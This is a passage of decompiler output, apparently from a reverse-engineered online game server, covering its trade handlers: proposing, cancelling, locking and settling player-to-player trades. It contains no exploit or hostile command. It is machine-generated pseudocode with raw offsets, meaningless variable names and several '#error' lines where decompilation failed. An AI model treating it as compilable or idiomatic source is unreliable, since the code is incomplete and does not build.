std::basic_string_std::allocator>::erase( (std::basic_string,std::allocator > *)&token, v24, v25); v8 = pos; token_complete = 0; } if ( add_delimiter == 1 ) { v43 = 15; v42 = 0; LOBYTE(p) = 0; LOBYTE(v45) = 1; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&delim_token, 0, 1u, delimiter); std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back( result, (std::basic_string,std::allocator > *)&delim_token); LOBYTE(v45) = 0; if ( v43 >= 0x10 ) operator delete(p); v43 = 15; v42 = 0; LOBYTE(p) = 0; } ++v8; pos = v8; if ( v8 >= len ) { if ( v38 ) std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back( result, (std::basic_string,std::allocator > *)&token); if ( v39 >= 0x10 ) operator delete(v37); break; } v9 = str; } } __security_check_cookie(v44); } //----- (005208C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_ServerMenuactor_sma_IsReady(int this) { return ServerMenuActor::sma_IsReady((ServerMenuActor *)(this + 68344)); } //----- (005208D0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineObject::so_CloseTradeMenu(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edi@1 int v4; // ebp@1 int v5; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_CloseTradeMenu"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_CloseTradeMenu"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1916))(v1); v3 = v2; v4 = *(_DWORD *)v2; v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 796))(v1); (*(void (__thiscall **)(int, _DWORD))(v4 + 32))(v3, *(_WORD *)(v5 + 16)); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 1512))(v1); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 1636))(v1, 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_CloseTradeMenu"); return v1; } //----- (005209A0) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // esi@1 signed int v6; // ebx@1 int v7; // eax@5 unsigned __int16 v8; // ax@7 int v9; // edi@10 __int16 v10; // bx@33 __int16 v11; // bx@33 int v12; // eax@33 int v13; // eax@33 int v14; // ebx@33 int v15; // ebx@33 char *v16; // eax@33 char v17; // al@33 int v18; // eax@34 char *v19; // [sp-8h] [bp-24h]@8 signed int v20; // [sp-8h] [bp-24h]@15 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v22; // [sp+18h] [bp-4h]@1 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"; v6 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v22 = 0; if ( !(_S4_23 & 1) ) { _S4_23 |= 1u; stru_1248FBD8.cmc_AllowMode = 70; atexit(_E5_71); } if ( (1 << **(_BYTE **)(v5 + 3716)) & stru_1248FBD8.cmc_AllowMode ) { v7 = *(_DWORD *)(v5 + 98); if ( !v7 || !*(_BYTE *)(*(_DWORD *)(v7 + 12) + 156) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, 1734); goto LABEL_41; } v8 = *(_WORD *)(netcmd + 2); if ( v8 == *(_WORD *)(v5 + 4) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, 1730); v22 = -1; --funcallanalizer.fca_stackpoint; v19 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"; LABEL_9: FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v19); return; } v9 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v8); if ( !v9 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v9 + 1212))(v9) != 2 ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, 1730); v22 = -1; --funcallanalizer.fca_stackpoint; v19 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"; goto LABEL_9; } if ( !ServerMenuActor::sma_IsReady((ServerMenuActor *)(v5 + 68344)) || !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v9 + 2332))(v9) ) goto LABEL_38; if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v5, v9) > 0xF4240 ) { v20 = 1731; LABEL_16: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, v20); LABEL_17: v22 = v6; FunctionEntarance::_FunctionEntarance(&_); return; } if ( !((1 << (*(int (__thiscall **)(int, int))(*(_DWORD *)v9 + 1136))(v9, a2)) & stru_1248FBD8.cmc_AllowMode) ) goto LABEL_19; if ( *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 796))(v9) + 6) != -1 || *(_WORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 796))(v9) != -1 || *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) + 6) != -1 || *(_WORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) != -1 ) { v6 = -1; } else { v6 = -1; if ( *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 796))(v9) + 8) == -1 && *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 796))(v9) + 2) == -1 && *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) + 8) == -1 && *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) + 2) == -1 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1628))(v5) && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v9 + 1628))(v9, 2) ) { if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v5 + 1520))(v5, 2) && (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v9 + 1520))(v9) ) { v10 = *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v9 + 1916))(v9) + 4); *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v9 + 796))(v9) + 16) = v10; v11 = *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5) + 4); *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v5 + 796))(v5) + 16) = v11; v12 = (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 1916))(v9); ++*(_WORD *)(v12 + 4); v13 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5); ++*(_WORD *)(v13 + 4); (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 1632))(v5); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v9 + 1632))(v9, 2); *(_WORD *)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 796))(v5) = *(_WORD *)(netcmd + 2); v14 = (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 836))(v9); *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) + 2) = v14; *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v9 + 796))(v9) + 6) = *(_WORD *)(v5 + 4); v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 796))(v9) + 8) = v15; v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 19458; *((_WORD *)v16 + 1) = *(_WORD *)(v5 + 4); v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShinePlayer::sp_NC_TRADE_PROPOSE_REQ : Packet Too Long", 4) ) { v18 = (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 764))(v9); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v18 + 12))(v18, v9, &gpp); } v22 = -1; goto LABEL_20; } LABEL_19: (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4); v22 = v6; LABEL_20: FunctionEntarance::_FunctionEntarance(&_); return; } LABEL_38: v20 = 1736; goto LABEL_16; } } (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4); goto LABEL_17; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, 1729); LABEL_41: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"); } // 5209A0: could not find valid save-restore pair for ebp //----- (00520E60) -------------------------------------------------------- #error "520E60: undefined or illegal type '#331' (funcsize=90)" //----- (00520FB0) -------------------------------------------------------- #error "520FB0: undefined or illegal type '#331' (funcsize=89)" //----- (00521100) -------------------------------------------------------- #error "521100: undefined or illegal type '#331' (funcsize=148)" //----- (00521340) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 void *v5; // edi@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S12_28 & 1) ) { _S12_28 |= 1u; stru_1248FBF8.cmc_AllowMode = 126; atexit(_E13_26); } if ( (1 << **((_BYTE **)v4 + 929)) & stru_1248FBF8.cmc_AllowMode ) { v5 = *(void **)((char *)v4 + 68295); ShineObjectClass::ShineObject::so_CloseTradeMenu(v4); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 19, 11); if ( v5 ) { ShineObjectClass::ShineObject::so_CloseTradeMenu(v5); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v5 + 772))(v5, 19, 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ"); } } //----- (00521480) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_tradepropose_timecheck(void *this) { void *v1; // esi@1 int v2; // ecx@1 char result; // al@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_tradepropose_timecheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_tradepropose_timecheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( *(_DWORD *)((char *)v1 + 68295) ) { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_tradepropose_timecheck"); result = 0; } else { if ( *((_DWORD *)v1 + 17072) < clockwatch.cw_CurrTick ) { ShineObjectClass::ShineObject::so_CloseTradeMenu(v1); *((_DWORD *)v1 + 17072) = clockwatch.cw_CurrTick + 600; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_tradepropose_timecheck"); result = 1; } return result; } //----- (00521580) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_tradebreak(void *this) { void *v1; // esi@1 void *v2; // edi@1 void *v3; // eax@2 void *v4; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_tradebreak"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_tradebreak"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(void **)((char *)v1 + 68295); if ( v2 ) { v3 = ShineObjectClass::ShineObject::so_CloseTradeMenu(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 772))(v3, 19, 12); v4 = ShineObjectClass::ShineObject::so_CloseTradeMenu(v2); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 19, 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_tradebreak"); } //----- (00521650) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(void *this) { void *v1; // ebp@1 int v2; // eax@1 int v3; // esi@4 int v4; // eax@4 void *v5; // edi@4 int v6; // edi@5 char *v7; // eax@6 int v8; // esi@6 int v9; // ST04_4@6 int v10; // eax@6 char *v11; // [sp+0h] [bp-2Ch]@3 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@6 int v13; // [sp+28h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CloseStreetBooth"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CloseStreetBooth"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 22297); v13 = 0; if ( v2 && (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1136))(v1) == 5 ) { (*(void (**)(void))(**((_DWORD **)v1 + 22297) + 16))(); v3 = **((_DWORD **)v1 + 22297); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1916))(v1); (*(void (__thiscall **)(_DWORD, int))(v3 + 12))(*((_DWORD *)v1 + 22297), v4); **((_BYTE **)v1 + 929) = 1; v5 = (void *)(*(_DWORD *)((char *)v1 + 32047) + 29); if ( *((_BYTE *)v1 + 89087) ) { memcpy(v5, (char *)v1 + 89040, 0x2Cu); v6 = (int)((char *)v5 + 44); *(_WORD *)v6 = *((_WORD *)v1 + 44542); *(_BYTE *)(v6 + 2) = *((_BYTE *)v1 + 89086); *((_BYTE *)v1 + 89087) = 0; } (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v1 + 776))(v1, 26, 5, 2625); v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 26630; *((_WORD *)v7 + 1) = *((_WORD *)v1 + 2); v8 = *(_DWORD *)((char *)v1 + 32047) + 29; memcpy(v7 + 4, (const void *)v8, 0x2Cu); v8 += 44; *((_WORD *)v7 + 24) = *(_WORD *)v8; v7[50] = *(_BYTE *)(v8 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 51); v9 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v13) = 1; v10 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v10, v9, 0, 0, (int)&alchat, 0, 65535); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 1636))(v1, 2); LOBYTE(v13) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v13 = -1; v11 = "ShineObjectClass::ShinePlayer::sp_CloseStreetBooth"; } else { v13 = -1; v11 = "ShineObjectClass::ShinePlayer::sp_CloseStreetBooth"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); } //----- (005217F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_CloseByLink(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_CloseByLink"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_CloseByLink"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_tradebreak(v1); ShineObjectClass::ShinePlayer::sp_partylogout(v1); ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_CloseByLink"); } //----- (005218A0) -------------------------------------------------------- void __thiscall TradeBoard::tb_Clear(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)((char *)v1 + 18) = 0; *(_DWORD *)((char *)v1 + 22) = 0; *(_DWORD *)((char *)v1 + 6) = -1; *(_DWORD *)((char *)v1 + 10) = -1; *(_DWORD *)((char *)v1 + 14) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Clear"); } //----- (00521910) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_TradeBoardUnlock(int this, int a2) { char result; // al@1 int v3; // eax@2 result = *(_BYTE *)(this + 68299); if ( result ) { v3 = *(_DWORD *)this; *(_BYTE *)(this + 68299) = 0; (*(void (__stdcall **)(signed int, signed int))(v3 + 772))(19, 29); result = (*(int (__stdcall **)(signed int, signed int))(*(_DWORD *)a2 + 772))(19, 30); } return result; } //----- (00521940) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@5 unsigned int v6; // ecx@13 unsigned int v7; // eax@13 char *v8; // edi@15 char v9; // al@15 int v10; // eax@16 char v11; // al@17 int v12; // eax@18 signed int v13; // [sp+0h] [bp-24h]@6 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v15; // [sp+20h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( !(_S4_24 & 1) ) { _S4_24 |= 1u; stru_1248FC00.cmc_AllowMode = 126; atexit(_E5_72); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & stru_1248FC00.cmc_AllowMode) ) { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"); return; } v5 = *(_DWORD *)(v4 + 68295); if ( !v5 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Not activ", 0); v13 = 2114; LABEL_7: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 19, 22, v13); LABEL_8: --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"); return; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, *(_DWORD *)(v4 + 68295)) > 0xF4240 ) { ShineObjectClass::ShinePlayer::sp_tradebreak((void *)v4); goto LABEL_8; } if ( *(_BYTE *)(v4 + 68299) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Locked", *(_BYTE *)(v4 + 68299) == 0); v13 = 2115; goto LABEL_7; } v6 = *(_DWORD *)(netcmd + 6); v7 = *(_DWORD *)(netcmd + 2); if ( __PAIR__(v6, v7) <= *(_QWORD *)(v4 + 32108) ) { *(_DWORD *)(v4 + 68317) = v6; *(_DWORD *)(v4 + 68313) = v7; (*(void (__thiscall **)(int, int))(*(_DWORD *)v5 + 1912))(v5, v4); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 19479; *(_DWORD *)(v8 + 2) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v8 + 6) = *(_DWORD *)(netcmd + 6); v9 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v9, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Packet Too Long", 10) ) { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } *(_WORD *)v8 = 19480; *(_DWORD *)(v8 + 2) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v8 + 6) = *(_DWORD *)(netcmd + 6); v11 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v11, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Packet Too Long", 10) ) { v12 = (*(int (**)(void))(**(_DWORD **)(v4 + 68295) + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, *(_DWORD *)(v4 + 68295), &gpp); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Upboarding too many money", 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 19, 22, 2120); } v15 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00521BE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edx@6 int v6; // ecx@6 int v7; // eax@9 signed int v8; // [sp+0h] [bp-1Ch]@6 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S6_72 & 1) ) { _S6_72 |= 1u; stru_1248FC08.cmc_AllowMode = 126; atexit(_E7_57); } if ( (1 << **(_BYTE **)(v4 + 3716)) & stru_1248FC08.cmc_AllowMode ) { if ( !*(_DWORD *)(v4 + 68295) || *(_BYTE *)(v4 + 68299) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ : Not activ or already locked", 0); v5 = *(_DWORD *)v4; v8 = 26; v6 = v4; LABEL_10: (*(void (__thiscall **)(int, signed int, signed int))(v5 + 772))(v6, 19, v8); goto LABEL_11; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, *(_DWORD *)(v4 + 68295)) <= 0xF4240 ) { v7 = *(_DWORD *)v4; *(_BYTE *)(v4 + 68299) = 1; (*(void (__thiscall **)(int, signed int, signed int))(v7 + 772))(v4, 19, 27); v6 = *(_DWORD *)(v4 + 68295); v5 = *(_DWORD *)v6; v8 = 28; goto LABEL_10; } ShineObjectClass::ShinePlayer::sp_tradebreak((void *)v4); } LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ"); } //----- (00521D20) -------------------------------------------------------- void __thiscall TradeBoard::tb_FillCen(void *this, int playerA, int playerB, int a4, int A, int B, int itemtrade) { void *v7; // esi@1 unsigned int v8; // edi@1 unsigned int v9; // eax@1 unsigned int v10; // ecx@1 unsigned int v11; // edx@1 int v12; // esi@4 unsigned __int64 v13; // ST10_8@4 CCharacterTitleZone *v14; // eax@4 unsigned int v15; // ST18_4@4 unsigned __int64 v16; // ST10_8@4 CCharacterTitleZone *v17; // eax@4 __int64 v18; // qax@4 int v19; // ecx@4 __int64 v20; // qax@5 int v21; // eax@9 unsigned __int64 v22; // ST10_8@9 CCharacterTitleZone *v23; // eax@9 unsigned int v24; // ST18_4@9 unsigned __int64 v25; // ST10_8@9 CCharacterTitleZone *v26; // eax@9 __int64 v27; // qax@9 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_FillCen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_FillCen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = *(_DWORD *)(a4 + 18); v9 = *(_DWORD *)((char *)v7 + 22); v10 = *(_DWORD *)(a4 + 22); v11 = *(_DWORD *)((char *)v7 + 18); if ( v9 < v10 || v9 <= v10 && v11 <= v8 ) { if ( v10 < v9 || v10 <= v9 && v8 <= v11 ) { *(_DWORD *)(itemtrade + 17) = 0; *(_DWORD *)(itemtrade + 21) = 0; *(_DWORD *)(itemtrade + 25) = 0; *(_DWORD *)(itemtrade + 29) = 0; *(_DWORD *)(itemtrade + 33) = 0; *(_DWORD *)(itemtrade + 37) = 0; goto LABEL_11; } v12 = itemtrade; *(_DWORD *)(itemtrade + 21) = (__PAIR__(v10, v8) - __PAIR__(v9, v11)) >> 32; v21 = *(_DWORD *)(itemtrade + 21); *(_DWORD *)(itemtrade + 17) = v8 - v11; HIDWORD(v22) = v21; LODWORD(v22) = *(_DWORD *)(itemtrade + 17); *(_BYTE *)(itemtrade + 16) = 66; (*(void (__stdcall **)(_DWORD))(**(_DWORD **)(A + 14) + 56))(*(_WORD *)(playerA + 22)); (*(void (__stdcall **)(_DWORD, _DWORD, _DWORD, signed int))(**(_DWORD **)(playerB + 14) + 56))( ::v16, *(_DWORD *)(v12 + 17), *(_DWORD *)(v12 + 21), -1); v23 = (CCharacterTitleZone *)(*(int (__stdcall **)(_DWORD, _DWORD, _DWORD))(**(_DWORD **)A + 1036))( *(_DWORD *)(v12 + 17), *(_DWORD *)(v12 + 21), *(_DWORD *)(playerB + 6)); CCharacterTitleZone::CT_MoneyBeg(v23, v22, 1u); v24 = *(_DWORD *)(A + 6); v25 = *(_QWORD *)(itemtrade + 17); v26 = (CCharacterTitleZone *)(*(int (**)(void))(**(_DWORD **)playerB + 1036))(); CCharacterTitleZone::CT_MoneyGive(v26, v25, v24); LODWORD(v27) = (*(int (**)(void))(**(_DWORD **)playerB + 1056))(); *(_QWORD *)(v12 + 25) = v27 - *(_QWORD *)(v12 + 17); v19 = *(_DWORD *)A; } else { v12 = itemtrade; *(_DWORD *)(itemtrade + 21) = (__PAIR__(v9, v11) - __PAIR__(v10, v8)) >> 32; HIDWORD(v13) = (__PAIR__(v9, v11) - __PAIR__(v10, v8)) >> 32; *(_DWORD *)(itemtrade + 17) = v11 - v8; LODWORD(v13) = *(_DWORD *)(itemtrade + 17); *(_BYTE *)(itemtrade + 16) = 65; (*(void (__stdcall **)(_DWORD))(**(_DWORD **)(A + 14) + 56))(*(_WORD *)(playerA + 22)); (*(void (__stdcall **)(_DWORD, _DWORD, _DWORD, signed int))(**(_DWORD **)(playerB + 14) + 56))( ::v16, *(_DWORD *)(v12 + 17), *(_DWORD *)(v12 + 21), 1); v14 = (CCharacterTitleZone *)(*(int (__stdcall **)(_DWORD, _DWORD, _DWORD))(**(_DWORD **)A + 1036))( *(_DWORD *)(v12 + 17), *(_DWORD *)(v12 + 21), *(_DWORD *)(playerB + 6)); CCharacterTitleZone::CT_MoneyGive(v14, v13, 0xFFFFFFFFu); v15 = *(_DWORD *)(A + 6); v16 = *(_QWORD *)(itemtrade + 17); v17 = (CCharacterTitleZone *)(*(int (**)(void))(**(_DWORD 